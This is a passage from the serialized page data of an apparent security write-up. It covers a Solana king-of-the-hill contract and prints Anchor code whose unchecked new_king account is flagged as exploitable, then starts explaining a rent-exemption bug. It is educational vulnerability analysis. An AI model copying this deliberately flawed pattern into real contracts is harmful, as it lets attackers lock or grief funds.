this:",{"type":24,"tag":96,"props":74315,"children":74316},{},[74317,74329,74334,74339],{"type":24,"tag":100,"props":74318,"children":74319},{},[74320,74322,74327],{"type":30,"value":74321},"Anyone can become the ",{"type":24,"tag":275,"props":74323,"children":74324},{},[74325],{"type":30,"value":74326},"king",{"type":30,"value":74328}," by bidding at least 2× the previous bid.",{"type":24,"tag":100,"props":74330,"children":74331},{},[74332],{"type":30,"value":74333},"The old king is reimbursed 95% of their bid.",{"type":24,"tag":100,"props":74335,"children":74336},{},[74337],{"type":30,"value":74338},"The remaining 5% goes into a prize pot.",{"type":24,"tag":100,"props":74340,"children":74341},{},[74342],{"type":30,"value":74343},"If the reigning king survives for 10 days without being dethroned, they can claim the entire pot.",{"type":24,"tag":33,"props":74345,"children":74346},{},[74347],{"type":30,"value":74348},"Simple, right?",{"type":24,"tag":33,"props":74350,"children":74351},{},[74352],{"type":30,"value":74353},"This is the core logic:",{"type":24,"tag":920,"props":74355,"children":74357},{"className":6102,"code":74356,"language":6101,"meta":7,"style":7},"#[derive(Accounts)]\npub struct ChangeKing\u003C'info> {\n    #[account(mut)]\n    pub throne: Account\u003C'info, Throne>,\n\n    /// CHECK: old_king gets a 95% refund, so ensure its writable.\n    #[account(mut, constraint = old_king.key() == throne.king)]\n    pub old_king: AccountInfo\u003C'info>,\n\n    /// CHECK: any writable account is allowed as a new king.\n    #[account(mut)]\n    pub new_king: AccountInfo\u003C'info>,\n\n    #[account(mut)]\n    pub payer: Signer\u003C'info>,\n}\n\n#[program]\npub mod king_of_the_sol {\n    pub fn change_king(ctx: Context\u003CChangeKing>, bid_amount: u64) -> Result\u003C()> {\n        // Check that bid_amount is at least 2x last_bid_amount\n        assert!(bid_amount >= ctx.accounts.throne.last_bid_amount * 2);\n        transfer_from_signer(\n            &ctx.accounts.payer,\n            &ctx.accounts.throne.to_account_info(),\n            bid_amount,\n        )?;\n\n        // Reimburse 95% of the last bid to the old king\n        let to_reimburse = (ctx.accounts.throne.last_bid_amount * 9500) / 10000;\n        transfer_from_pda(\n            &ctx.accounts.throne.to_account_info(),\n            &ctx.accounts.old_king,\n            to_reimburse,\n        )?;\n\n        // Set new king\n        ctx.accounts.throne.king = ctx.accounts.new_king.key();\n        ctx.accounts.throne.last_bid_amount = bid_amount;\n        ctx.accounts.throne.last_time = Clock::get()?.unix_timestamp as u64;\n\n        Ok(())\n    }\n}\n",[74358],{"type":24,"tag":156,"props":74359,"children":74360},{"__ignoreMap":7},[74361,74376,74404,74419,74460,74467,74475,74526,74557,74564,74572,74587,74619,74626,74641,74672,74679,74686,74694,74711,74785,74793,74854,74866,74894,74934,74946,74962,74969,74977,75051,75063,75102,75130,75142,75157,75164,75172,75242,75286,75360,75367,75378,75385],{"type":24,"tag":930,"props":74362,"children":74363},{"class":932,"line":933},[74364,74368,74372],{"type":24,"tag":930,"props":74365,"children":74366},{"style":959},[74367],{"type":30,"value":25939},{"type":24,"tag":930,"props":74369,"children":74370},{"style":943},[74371],{"type":30,"value":25944},{"type":24,"tag":930,"props":74373,"children":74374},{"style":959},[74375],{"type":30,"value":23362},{"type":24,"tag":930,"props":74377,"children":74378},{"class":932,"line":984},[74379,74383,74387,74392,74396,74400],{"type":24,"tag":930,"props":74380,"children":74381},{"style":937},[74382],{"type":30,"value":16797},{"type":24,"tag":930,"props":74384,"children":74385},{"style":937},[74386],{"type":30,"value":24253},{"type":24,"tag":930,"props":74388,"children":74389},{"style":943},[74390],{"type":30,"value":74391}," ChangeKing",{"type":24,"tag":930,"props":74393,"children":74394},{"style":959},[74395],{"type":30,"value":26024},{"type":24,"tag":930,"props":74397,"children":74398},{"style":943},[74399],{"type":30,"value":26029},{"type":24,"tag":930,"props":74401,"children":74402},{"style":959},[74403],{"type":30,"value":10392},{"type":24,"tag":930,"props":74405,"children":74406},{"class":932,"line":993},[74407,74411,74415],{"type":24,"tag":930,"props":74408,"children":74409},{"style":959},[74410],{"type":30,"value":26231},{"type":24,"tag":930,"props":74412,"children":74413},{"style":937},[74414],{"type":30,"value":6839},{"type":24,"tag":930,"props":74416,"children":74417},{"style":959},[74418],{"type":30,"value":23362},{"type":24,"tag":930,"props":74420,"children":74421},{"class":932,"line":1057},[74422,74426,74431,74435,74439,74443,74447,74451,74456],{"type":24,"tag":930,"props":74423,"children":74424},{"style":937},[74425],{"type":30,"value":23945},{"type":24,"tag":930,"props":74427,"children":74428},{"style":1023},[74429],{"type":30,"value":74430}," throne",{"type":24,"tag":930,"props":74432,"children":74433},{"style":1158},[74434],{"type":30,"value":476},{"type":24,"tag":930,"props":74436,"children":74437},{"style":943},[74438],{"type":30,"value":26196},{"type":24,"tag":930,"props":74440,"children":74441},{"style":959},[74442],{"type":30,"value":26024},{"type":24,"tag":930,"props":74444,"children":74445},{"style":943},[74446],{"type":30,"value":26029},{"type":24,"tag":930,"props":74448,"children":74449},{"style":959},[74450],{"type":30,"value":962},{"type":24,"tag":930,"props":74452,"children":74453},{"style":943},[74454],{"type":30,"value":74455},"Throne",{"type":24,"tag":930,"props":74457,"children":74458},{"style":959},[74459],{"type":30,"value":9251},{"type":24,"tag":930,"props":74461,"children":74462},{"class":932,"line":1066},[74463],{"type":24,"tag":930,"props":74464,"children":74465},{"emptyLinePlaceholder":16},[74466],{"type":30,"value":2412},{"type":24,"tag":930,"props":74468,"children":74469},{"class":932,"line":1075},[74470],{"type":24,"tag":930,"props":74471,"children":74472},{"style":1422},[74473],{"type":30,"value":74474},"    /// CHECK: old_king gets a 95% refund, so ensure its writable.\n",{"type":24,"tag":930,"props":74476,"children":74477},{"class":932,"line":1122},[74478,74482,74486,74491,74495,74500,74504,74509,74513,74517,74521],{"type":24,"tag":930,"props":74479,"children":74480},{"style":959},[74481],{"type":30,"value":26231},{"type":24,"tag":930,"props":74483,"children":74484},{"style":937},[74485],{"type":30,"value":6839},{"type":24,"tag":930,"props":74487,"children":74488},{"style":959},[74489],{"type":30,"value":74490},", constraint ",{"type":24,"tag":930,"props":74492,"children":74493},{"style":1158},[74494],{"type":30,"value":1161},{"type":24,"tag":930,"props":74496,"children":74497},{"style":959},[74498],{"type":30,"value":74499}," old_king",{"type":24,"tag":930,"props":74501,"children":74502},{"style":1158},[74503],{"type":30,"value":436},{"type":24,"tag":930,"props":74505,"children":74506},{"style":959},[74507],{"type":30,"value":74508},"key() ",{"type":24,"tag":930,"props":74510,"children":74511},{"style":1158},[74512],{"type":30,"value":1239},{"type":24,"tag":930,"props":74514,"children":74515},{"style":959},[74516],{"type":30,"value":74430},{"type":24,"tag":930,"props":74518,"children":74519},{"style":1158},[74520],{"type":30,"value":436},{"type":24,"tag":930,"props":74522,"children":74523},{"style":959},[74524],{"type":30,"value":74525},"king)]\n",{"type":24,"tag":930,"props":74527,"children":74528},{"class":932,"line":1131},[74529,74533,74537,74541,74545,74549,74553],{"type":24,"tag":930,"props":74530,"children":74531},{"style":937},[74532],{"type":30,"value":23945},{"type":24,"tag":930,"props":74534,"children":74535},{"style":1023},[74536],{"type":30,"value":74499},{"type":24,"tag":930,"props":74538,"children":74539},{"style":1158},[74540],{"type":30,"value":476},{"type":24,"tag":930,"props":74542,"children":74543},{"style":943},[74544],{"type":30,"value":28490},{"type":24,"tag":930,"props":74546,"children":74547},{"style":959},[74548],{"type":30,"value":26024},{"type":24,"tag":930,"props":74550,"children":74551},{"style":943},[74552],{"type":30,"value":26029},{"type":24,"tag":930,"props":74554,"children":74555},{"style":959},[74556],{"type":30,"value":9251},{"type":24,"tag":930,"props":74558,"children":74559},{"class":932,"line":1144},[74560],{"type":24,"tag":930,"props":74561,"children":74562},{"emptyLinePlaceholder":16},[74563],{"type":30,"value":2412},{"type":24,"tag":930,"props":74565,"children":74566},{"class":932,"line":1169},[74567],{"type":24,"tag":930,"props":74568,"children":74569},{"style":1422},[74570],{"type":30,"value":74571},"    /// CHECK: any writable account is allowed as a new king.\n",{"type":24,"tag":930,"props":74573,"children":74574},{"class":932,"line":1191},[74575,74579,74583],{"type":24,"tag":930,"props":74576,"children":74577},{"style":959},[74578],{"type":30,"value":26231},{"type":24,"tag":930,"props":74580,"children":74581},{"style":937},[74582],{"type":30,"value":6839},{"type":24,"tag":930,"props":74584,"children":74585},{"style":959},[74586],{"type":30,"value":23362},{"type":24,"tag":930,"props":74588,"children":74589},{"class":932,"line":1223},[74590,74594,74599,74603,74607,74611,74615],{"type":24,"tag":930,"props":74591,"children":74592},{"style":937},[74593],{"type":30,"value":23945},{"type":24,"tag":930,"props":74595,"children":74596},{"style":1023},[74597],{"type":30,"value":74598}," new_king",{"type":24,"tag":930,"props":74600,"children":74601},{"style":1158},[74602],{"type":30,"value":476},{"type":24,"tag":930,"props":74604,"children":74605},{"style":943},[74606],{"type":30,"value":28490},{"type":24,"tag":930,"props":74608,"children":74609},{"style":959},[74610],{"type":30,"value":26024},{"type":24,"tag":930,"props":74612,"children":74613},{"style":943},[74614],{"type":30,"value":26029},{"type":24,"tag":930,"props":74616,"children":74617},{"style":959},[74618],{"type":30,"value":9251},{"type":24,"tag":930,"props":74620,"children":74621},{"class":932,"line":1281},[74622],{"type":24,"tag":930,"props":74623,"children":74624},{"emptyLinePlaceholder":16},[74625],{"type":30,"value":2412},{"type":24,"tag":930,"props":74627,"children":74628},{"class":932,"line":1313},[74629,74633,74637],{"type":24,"tag":930,"props":74630,"children":74631},{"style":959},[74632],{"type":30,"value":26231},{"type":24,"tag":930,"props":74634,"children":74635},{"style":937},[74636],{"type":30,"value":6839},{"type":24,"tag":930,"props":74638,"children":74639},{"style":959},[74640],{"type":30,"value":23362},{"type":24,"tag":930,"props":74642,"children":74643},{"class":932,"line":1335},[74644,74648,74652,74656,74660,74664,74668],{"type":24,"tag":930,"props":74645,"children":74646},{"style":937},[74647],{"type":30,"value":23945},{"type":24,"tag":930,"props":74649,"children":74650},{"style":1023},[74651],{"type":30,"value":45329},{"type":24,"tag":930,"props":74653,"children":74654},{"style":1158},[74655],{"type":30,"value":476},{"type":24,"tag":930,"props":74657,"children":74658},{"style":943},[74659],{"type":30,"value":26260},{"type":24,"tag":930,"props":74661,"children":74662},{"style":959},[74663],{"type":30,"value":26024},{"type":24,"tag":930,"props":74665,"children":74666},{"style":943},[74667],{"type":30,"value":26029},{"type":24,"tag":930,"props":74669,"children":74670},{"style":959},[74671],{"type":30,"value":9251},{"type":24,"tag":930,"props":74673,"children":74674},{"class":932,"line":1376},[74675],{"type":24,"tag":930,"props":74676,"children":74677},{"style":959},[74678],{"type":30,"value":2528},{"type":24,"tag":930,"props":74680,"children":74681},{"class":932,"line":1418},[74682],{"type":24,"tag":930,"props":74683,"children":74684},{"emptyLinePlaceholder":16},[74685],{"type":30,"value":2412},{"type":24,"tag":930,"props":74687,"children":74688},{"class":932,"line":1438},[74689],{"type":24,"tag":930,"props":74690,"children":74691},{"style":959},[74692],{"type":30,"value":74693},"#[program]\n",{"type":24,"tag":930,"props":74695,"children":74696},{"class":932,"line":1479},[74697,74701,74706],{"type":24,"tag":930,"props":74698,"children":74699},{"style":937},[74700],{"type":30,"value":16797},{"type":24,"tag":930,"props":74702,"children":74703},{"style":937},[74704],{"type":30,"value":74705}," mod",{"type":24,"tag":930,"props":74707,"children":74708},{"style":959},[74709],{"type":30,"value":74710}," king_of_the_sol {\n",{"type":24,"tag":930,"props":74712,"children":74713},{"class":932,"line":1506},[74714,74718,74722,74727,74731,74735,74739,74743,74747,74752,74756,74761,74765,74769,74773,74777,74781],{"type":24,"tag":930,"props":74715,"children":74716},{"style":937},[74717],{"type":30,"value":23945},{"type":24,"tag":930,"props":74719,"children":74720},{"style":937},[74721],{"type":30,"value":16802},{"type":24,"tag":930,"props":74723,"children":74724},{"style":1002},[74725],{"type":30,"value":74726}," change_king",{"type":24,"tag":930,"props":74728,"children":74729},{"style":959},[74730],{"type":30,"value":1010},{"type":24,"tag":930,"props":74732,"children":74733},{"style":1023},[74734],{"type":30,"value":23384},{"type":24,"tag":930,"props":74736,"children":74737},{"style":1158},[74738],{"type":30,"value":476},{"type":24,"tag":930,"props":74740,"children":74741},{"style":943},[74742],{"type":30,"value":23393},{"type":24,"tag":930,"props":74744,"children":74745},{"style":959},[74746],{"type":30,"value":1350},{"type":24,"tag":930,"props":74748,"children":74749},{"style":943},[74750],{"type":30,"value":74751},"ChangeKing",{"type":24,"tag":930,"props":74753,"children":74754},{"style":959},[74755],{"type":30,"value":9742},{"type":24,"tag":930,"props":74757,"children":74758},{"style":1023},[74759],{"type":30,"value":74760},"bid_amount",{"type":24,"tag":930,"props":74762,"children":74763},{"style":1158},[74764],{"type":30,"value":476},{"type":24,"tag":930,"props":74766,"children":74767},{"style":943},[74768],{"type":30,"value":8972},{"type":24,"tag":930,"props":74770,"children":74771},{"style":959},[74772],{"type":30,"value":5579},{"type":24,"tag":930,"props":74774,"children":74775},{"style":1158},[74776],{"type":30,"value":16864},{"type":24,"tag":930,"props":74778,"children":74779},{"style":943},[74780],{"type":30,"value":16869},{"type":24,"tag":930,"props":74782,"children":74783},{"style":959},[74784],{"type":30,"value":23435},{"type":24,"tag":930,"props":74786,"children":74787},{"class":932,"line":1525},[74788],{"type":24,"tag":930,"props":74789,"children":74790},{"style":1422},[74791],{"type":30,"value":74792},"        // Check that bid_amount is at least 2x last_bid_amount\n",{"type":24,"tag":930,"props":74794,"children":74795},{"class":932,"line":1569},[74796,74800,74804,74808,74812,74816,74820,74824,74828,74833,74837,74842,74846,74850],{"type":24,"tag":930,"props":74797,"children":74798},{"style":1002},[74799],{"type":30,"value":67533},{"type":24,"tag":930,"props":74801,"children":74802},{"style":959},[74803],{"type":30,"value":1010},{"type":24,"tag":930,"props":74805,"children":74806},{"style":1023},[74807],{"type":30,"value":74760},{"type":24,"tag":930,"props":74809,"children":74810},{"style":1158},[74811],{"type":30,"value":11411},{"type":24,"tag":930,"props":74813,"children":74814},{"style":1023},[74815],{"type":30,"value":28935},{"type":24,"tag":930,"props":74817,"children":74818},{"style":1158},[74819],{"type":30,"value":436},{"type":24,"tag":930,"props":74821,"children":74822},{"style":959},[74823],{"type":30,"value":17781},{"type":24,"tag":930,"props":74825,"children":74826},{"style":1158},[74827],{"type":30,"value":436},{"type":24,"tag":930,"props":74829,"children":74830},{"style":959},[74831],{"type":30,"value":74832},"throne",{"type":24,"tag":930,"props":74834,"children":74835},{"style":1158},[74836],{"type":30,"value":436},{"type":24,"tag":930,"props":74838,"children":74839},{"style":959},[74840],{"type":30,"value":74841},"last_bid_amount ",{"type":24,"tag":930,"props":74843,"children":74844},{"style":1158},[74845],{"type":30,"value":1410},{"type":24,"tag":930,"props":74847,"children":74848},{"style":1242},[74849],{"type":30,"value":11044},{"type":24,"tag":930,"props":74851,"children":74852},{"style":959},[74853],{"type":30,"value":1278},{"type":24,"tag":930,"props":74855,"children":74856},{"class":932,"line":1592},[74857,74862],{"type":24,"tag":930,"props":74858,"children":74859},{"style":1002},[74860],{"type":30,"value":74861},"        transfer_from_signer",{"type":24,"tag":930,"props":74863,"children":74864},{"style":959},[74865],{"type":30,"value":2814},{"type":24,"tag":930,"props":74867,"children":74868},{"class":932,"line":1610},[74869,74873,74877,74881,74885,74889],{"type":24,"tag":930,"props":74870,"children":74871},{"style":1158},[74872],{"type":30,"value":10795},{"type":24,"tag":930,"props":74874,"children":74875},{"style":1023},[74876],{"type":30,"value":23384},{"type":24,"tag":930,"props":74878,"children":74879},{"style":1158},[74880],{"type":30,"value":436},{"type":24,"tag":930,"props":74882,"children":74883},{"style":959},[74884],{"type":30,"value":17781},{"type":24,"tag":930,"props":74886,"children":74887},{"style":1158},[74888],{"type":30,"value":436},{"type":24,"tag":930,"props":74890,"children":74891},{"style":959},[74892],{"type":30,"value":74893},"payer,\n",{"type":24,"tag":930,"props":74895,"children":74896},{"class":932,"line":1628},[74897,74901,74905,74909,74913,74917,74921,74925,74930],{"type":24,"tag":930,"props":74898,"children":74899},{"style":1158},[74900],{"type":30,"value":10795},{"type":24,"tag":930,"props":74902,"children":74903},{"style":1023},[74904],{"type":30,"value":23384},{"type":24,"tag":930,"props":74906,"children":74907},{"style":1158},[74908],{"type":30,"value":436},{"type":24,"tag":930,"props":74910,"children":74911},{"style":959},[74912],{"type":30,"value":17781},{"type":24,"tag":930,"props":74914,"children":74915},{"style":1158},[74916],{"type":30,"value":436},{"type":24,"tag":930,"props":74918,"children":74919},{"style":959},[74920],{"type":30,"value":74832},{"type":24,"tag":930,"props":74922,"children":74923},{"style":1158},[74924],{"type":30,"value":436},{"type":24,"tag":930,"props":74926,"children":74927},{"style":1002},[74928],{"type":30,"value":74929},"to_account_info",{"type":24,"tag":930,"props":74931,"children":74932},{"style":959},[74933],{"type":30,"value":6607},{"type":24,"tag":930,"props":74935,"children":74936},{"class":932,"line":1637},[74937,74942],{"type":24,"tag":930,"props":74938,"children":74939},{"style":1023},[74940],{"type":30,"value":74941},"            bid_amount",{"type":24,"tag":930,"props":74943,"children":74944},{"style":959},[74945],{"type":30,"value":2832},{"type":24,"tag":930,"props":74947,"children":74948},{"class":932,"line":1646},[74949,74954,74958],{"type":24,"tag":930,"props":74950,"children":74951},{"style":959},[74952],{"type":30,"value":74953},"        )",{"type":24,"tag":930,"props":74955,"children":74956},{"style":1158},[74957],{"type":30,"value":5347},{"type":24,"tag":930,"props":74959,"children":74960},{"style":959},[74961],{"type":30,"value":5539},{"type":24,"tag":930,"props":74963,"children":74964},{"class":932,"line":1673},[74965],{"type":24,"tag":930,"props":74966,"children":74967},{"emptyLinePlaceholder":16},[74968],{"type":30,"value":2412},{"type":24,"tag":930,"props":74970,"children":74971},{"class":932,"line":1692},[74972],{"type":24,"tag":930,"props":74973,"children":74974},{"style":1422},[74975],{"type":30,"value":74976},"        // Reimburse 95% of the last bid to the old king\n",{"type":24,"tag":930,"props":74978,"children":74979},{"class":932,"line":1730},[74980,74984,74989,74993,74997,75001,75005,75009,75013,75017,75021,75025,75029,75034,75038,75042,75047],{"type":24,"tag":930,"props":74981,"children":74982},{"style":937},[74983],{"type":30,"value":6186},{"type":24,"tag":930,"props":74985,"children":74986},{"style":1023},[74987],{"type":30,"value":74988}," to_reimburse",{"type":24,"tag":930,"props":74990,"children":74991},{"style":1158},[74992],{"type":30,"value":6137},{"type":24,"tag":930,"props":74994,"children":74995},{"style":959},[74996],{"type":30,"value":1087},{"type":24,"tag":930,"props":74998,"children":74999},{"style":1023},[75000],{"type":30,"value":23384},{"type":24,"tag":930,"props":75002,"children":75003},{"style":1158},[75004],{"type":30,"value":436},{"type":24,"tag":930,"props":75006,"children":75007},{"style":959},[75008],{"type":30,"value":17781},{"type":24,"tag":930,"props":75010,"children":75011},{"style":1158},[75012],{"type":30,"value":436},{"type":24,"tag":930,"props":75014,"children":75015},{"style":959},[75016],{"type":30,"value":74832},{"type":24,"tag":930,"props":75018,"children":75019},{"style":1158},[75020],{"type":30,"value":436},{"type":24,"tag":930,"props":75022,"children":75023},{"style":959},[75024],{"type":30,"value":74841},{"type":24,"tag":930,"props":75026,"children":75027},{"style":1158},[75028],{"type":30,"value":1410},{"type":24,"tag":930,"props":75030,"children":75031},{"style":1242},[75032],{"type":30,"value":75033}," 9500",{"type":24,"tag":930,"props":75035,"children":75036},{"style":959},[75037],{"type":30,"value":5579},{"type":24,"tag":930,"props":75039,"children":75040},{"style":1158},[75041],{"type":30,"value":1471},{"type":24,"tag":930,"props":75043,"children":75044},{"style":1242},[75045],{"type":30,"value":75046}," 10000",{"type":24,"tag":930,"props":75048,"children":75049},{"style":959},[75050],{"type":30,"value":5539},{"type":24,"tag":930,"props":75052,"children":75053},{"class":932,"line":1762},[75054,75059],{"type":24,"tag":930,"props":75055,"children":75056},{"style":1002},[75057],{"type":30,"value":75058},"        transfer_from_pda",{"type":24,"tag":930,"props":75060,"children":75061},{"style":959},[75062],{"type":30,"value":2814},{"type":24,"tag":930,"props":75064,"children":75065},{"class":932,"line":1775},[75066,75070,75074,75078,75082,75086,75090,75094,75098],{"type":24,"tag":930,"props":75067,"children":75068},{"style":1158},[75069],{"type":30,"value":10795},{"type":24,"tag":930,"props":75071,"children":75072},{"style":1023},[75073],{"type":30,"value":23384},{"type":24,"tag":930,"props":75075,"children":75076},{"style":1158},[75077],{"type":30,"value":436},{"type":24,"tag":930,"props":75079,"children":75080},{"style":959},[75081],{"type":30,"value":17781},{"type":24,"tag":930,"props":75083,"children":75084},{"style":1158},[75085],{"type":30,"value":436},{"type":24,"tag":930,"props":75087,"children":75088},{"style":959},[75089],{"type":30,"value":74832},{"type":24,"tag":930,"props":75091,"children":75092},{"style":1158},[75093],{"type":30,"value":436},{"type":24,"tag":930,"props":75095,"children":75096},{"style":1002},[75097],{"type":30,"value":74929},{"type":24,"tag":930,"props":75099,"children":75100},{"style":959},[75101],{"type":30,"value":6607},{"type":24,"tag":930,"props":75103,"children":75104},{"class":932,"line":1825},[75105,75109,75113,75117,75121,75125],{"type":24,"tag":930,"props":75106,"children":75107},{"style":1158},[75108],{"type":30,"value":10795},{"type":24,"tag":930,"props":75110,"children":75111},{"style":1023},[75112],{"type":30,"value":23384},{"type":24,"tag":930,"props":75114,"children":75115},{"style":1158},[75116],{"type":30,"value":436},{"type":24,"tag":930,"props":75118,"children":75119},{"style":959},[75120],{"type":30,"value":17781},{"type":24,"tag":930,"props":75122,"children":75123},{"style":1158},[75124],{"type":30,"value":436},{"type":24,"tag":930,"props":75126,"children":75127},{"style":959},[75128],{"type":30,"value":75129},"old_king,\n",{"type":24,"tag":930,"props":75131,"children":75132},{"class":932,"line":1834},[75133,75138],{"type":24,"tag":930,"props":75134,"children":75135},{"style":1023},[75136],{"type":30,"value":75137},"            to_reimburse",{"type":24,"tag":930,"props":75139,"children":75140},{"style":959},[75141],{"type":30,"value":2832},{"type":24,"tag":930,"props":75143,"children":75144},{"class":932,"line":1843},[75145,75149,75153],{"type":24,"tag":930,"props":75146,"children":75147},{"style":959},[75148],{"type":30,"value":74953},{"type":24,"tag":930,"props":75150,"children":75151},{"style":1158},[75152],{"type":30,"value":5347},{"type":24,"tag":930,"props":75154,"children":75155},{"style":959},[75156],{"type":30,"value":5539},{"type":24,"tag":930,"props":75158,"children":75159},{"class":932,"line":1851},[75160],{"type":24,"tag":930,"props":75161,"children":75162},{"emptyLinePlaceholder":16},[75163],{"type":30,"value":2412},{"type":24,"tag":930,"props":75165,"children":75166},{"class":932,"line":1919},[75167],{"type":24,"tag":930,"props":75168,"children":75169},{"style":1422},[75170],{"type":30,"value":75171},"        // Set new king\n",{"type":24,"tag":930,"props":75173,"children":75174},{"class":932,"line":1927},[75175,75179,75183,75187,75191,75195,75199,75204,75208,75212,75216,75220,75224,75229,75233,75238],{"type":24,"tag":930,"props":75176,"children":75177},{"style":1023},[75178],{"type":30,"value":29278},{"type":24,"tag":930,"props":75180,"children":75181},{"style":1158},[75182],{"type":30,"value":436},{"type":24,"tag":930,"props":75184,"children":75185},{"style":959},[75186],{"type":30,"value":17781},{"type":24,"tag":930,"props":75188,"children":75189},{"style":1158},[75190],{"type":30,"value":436},{"type":24,"tag":930,"props":75192,"children":75193},{"style":959},[75194],{"type":30,"value":74832},{"type":24,"tag":930,"props":75196,"children":75197},{"style":1158},[75198],{"type":30,"value":436},{"type":24,"tag":930,"props":75200,"children":75201},{"style":959},[75202],{"type":30,"value":75203},"king ",{"type":24,"tag":930,"props":75205,"children":75206},{"style":1158},[75207],{"type":30,"value":1161},{"type":24,"tag":930,"props":75209,"children":75210},{"style":1023},[75211],{"type":30,"value":28935},{"type":24,"tag":930,"props":75213,"children":75214},{"style":1158},[75215],{"type":30,"value":436},{"type":24,"tag":930,"props":75217,"children":75218},{"style":959},[75219],{"type":30,"value":17781},{"type":24,"tag":930,"props":75221,"children":75222},{"style":1158},[75223],{"type":30,"value":436},{"type":24,"tag":930,"props":75225,"children":75226},{"style":959},[75227],{"type":30,"value":75228},"new_king",{"type":24,"tag":930,"props":75230,"children":75231},{"style":1158},[75232],{"type":30,"value":436},{"type":24,"tag":930,"props":75234,"children":75235},{"style":1002},[75236],{"type":30,"value":75237},"key",{"type":24,"tag":930,"props":75239,"children":75240},{"style":959},[75241],{"type":30,"value":1310},{"type":24,"tag":930,"props":75243,"children":75244},{"class":932,"line":1935},[75245,75249,75253,75257,75261,75265,75269,75273,75277,75282],{"type":24,"tag":930,"props":75246,"children":75247},{"style":1023},[75248],{"type":30,"value":29278},{"type":24,"tag":930,"props":75250,"children":75251},{"style":1158},[75252],{"type":30,"value":436},{"type":24,"tag":930,"props":75254,"children":75255},{"style":959},[75256],{"type":30,"value":17781},{"type":24,"tag":930,"props":75258,"children":75259},{"style":1158},[75260],{"type":30,"value":436},{"type":24,"tag":930,"props":75262,"children":75263},{"style":959},[75264],{"type":30,"value":74832},{"type":24,"tag":930,"props":75266,"children":75267},{"style":1158},[75268],{"type":30,"value":436},{"type":24,"tag":930,"props":75270,"children":75271},{"style":959},[75272],{"type":30,"value":74841},{"type":24,"tag":930,"props":75274,"children":75275},{"style":1158},[75276],{"type":30,"value":1161},{"type":24,"tag":930,"props":75278,"children":75279},{"style":1023},[75280],{"type":30,"value":75281}," bid_amount",{"type":24,"tag":930,"props":75283,"children":75284},{"style":959},[75285],{"type":30,"value":5539},{"type":24,"tag":930,"props":75287,"children":75288},{"class":932,"line":1943},[75289,75293,75297,75301,75305,75309,75313,75318,75322,75327,75331,75335,75339,75343,75348,75352,75356],{"type":24,"tag":930,"props":75290,"children":75291},{"style":1023},[75292],{"type":30,"value":29278},{"type":24,"tag":930,"props":75294,"children":75295},{"style":1158},[75296],{"type":30,"value":436},{"type":24,"tag":930,"props":75298,"children":75299},{"style":959},[75300],{"type":30,"value":17781},{"type":24,"tag":930,"props":75302,"children":75303},{"style":1158},[75304],{"type":30,"value":436},{"type":24,"tag":930,"props":75306,"children":75307},{"style":959},[75308],{"type":30,"value":74832},{"type":24,"tag":930,"props":75310,"children":75311},{"style":1158},[75312],{"type":30,"value":436},{"type":24,"tag":930,"props":75314,"children":75315},{"style":959},[75316],{"type":30,"value":75317},"last_time ",{"type":24,"tag":930,"props":75319,"children":75320},{"style":1158},[75321],{"type":30,"value":1161},{"type":24,"tag":930,"props":75323,"children":75324},{"style":943},[75325],{"type":30,"value":75326}," Clock",{"type":24,"tag":930,"props":75328,"children":75329},{"style":1158},[75330],{"type":30,"value":6597},{"type":24,"tag":930,"props":75332,"children":75333},{"style":1002},[75334],{"type":30,"value":19454},{"type":24,"tag":930,"props":75336,"children":75337},{"style":959},[75338],{"type":30,"value":16986},{"type":24,"tag":930,"props":75340,"children":75341},{"style":1158},[75342],{"type":30,"value":6254},{"type":24,"tag":930,"props":75344,"children":75345},{"style":959},[75346],{"type":30,"value":75347},"unix_timestamp ",{"type":24,"tag":930,"props":75349,"children":75350},{"style":937},[75351],{"type":30,"value":11951},{"type":24,"tag":930,"props":75353,"children":75354},{"style":943},[75355],{"type":30,"value":8972},{"type":24,"tag":930,"props":75357,"children":75358},{"style":959},[75359],{"type":30,"value":5539},{"type":24,"tag":930,"props":75361,"children":75362},{"class":932,"line":1955},[75363],{"type":24,"tag":930,"props":75364,"children":75365},{"emptyLinePlaceholder":16},[75366],{"type":30,"value":2412},{"type":24,"tag":930,"props":75368,"children":75369},{"class":932,"line":1975},[75370,75374],{"type":24,"tag":930,"props":75371,"children":75372},{"style":943},[75373],{"type":30,"value":17915},{"type":24,"tag":930,"props":75375,"children":75376},{"style":959},[75377],{"type":30,"value":17444},{"type":24,"tag":930,"props":75379,"children":75380},{"class":932,"line":1995},[75381],{"type":24,"tag":930,"props":75382,"children":75383},{"style":959},[75384],{"type":30,"value":1840},{"type":24,"tag":930,"props":75386,"children":75387},{"class":932,"line":2061},[75388],{"type":24,"tag":930,"props":75389,"children":75390},{"style":959},[75391],{"type":30,"value":2528},{"type":24,"tag":33,"props":75393,"children":75394},{},[75395],{"type":30,"value":75396},"Note this comment:",{"type":24,"tag":6054,"props":75398,"children":75399},{},[75400],{"type":24,"tag":33,"props":75401,"children":75402},{},[75403],{"type":30,"value":75404},"any writable account is allowed as a new king.",{"type":24,"tag":33,"props":75406,"children":75407},{},[75408],{"type":30,"value":75409},"...Is our assumption correct?",{"type":24,"tag":68,"props":75411,"children":75413},{"id":75412},"the-bugs-lurking-beneath",[75414],{"type":30,"value":75415},"The Bugs Lurking Beneath",{"type":24,"tag":151,"props":75417,"children":75419},{"id":75418},"bug-1-the-rent-exemption-trap",[75420],{"type":30,"value":75421},"Bug 1: The Rent-Exemption Trap",{"type":24,"tag":33,"props":75423,"children":75424},{},[75425,75427,75432],{"type":30,"value":75426},"On Solana, all accounts must maintain a ",{"type":24,"tag":275,"props":75428,"children":75429},{},[75430],{"type":30,"value":75431},"minimum balance",{"type":30,"value":75433}," of lamports to remain rent-exempt. Specifically, an account can be in one of two states:",{"type":24,"tag":96,"props":75435,"children":75436},{},[75437,75452],{"type":24,"tag":100,"props":75438,"children":75439},{},[75440,75445,75446],{"type":24,"tag":275,"props":75441,"children":75442},{},[75443],{"type":30,"value":75444},"Uninitialized",{"type":30,"value":18434},{"type":24,"tag":156,"props":75447,"children":75449},{"className":75448},[],[75450],{"type":30,"value":75451},"lamports = 0",{"type":24,"tag":100,"props":75453,"children":75454},{},[75455,75460,75461],{"type":24,"tag":275,"props":75456,"children":75457},{},[75458],{"type":30,"value":75459},"Initialized",{"type":30,"value":18434},{"type":24,"tag":156,"props":75462,"children":75464},{"className":75463},[],[75465],{"type":30,"value":75466},"lamports >= rent-exempt threshold",{"type":24,"tag":33,"props":75468,"children":75469},{},[75470,75472,75477],{"type":30,"value":75471},"This rent model exists to prevent low-cost DoS attacks on validators. The key idea is that even an account with no data (i.e., zero-length data buffer) still consumes on-chain resources; specifically, 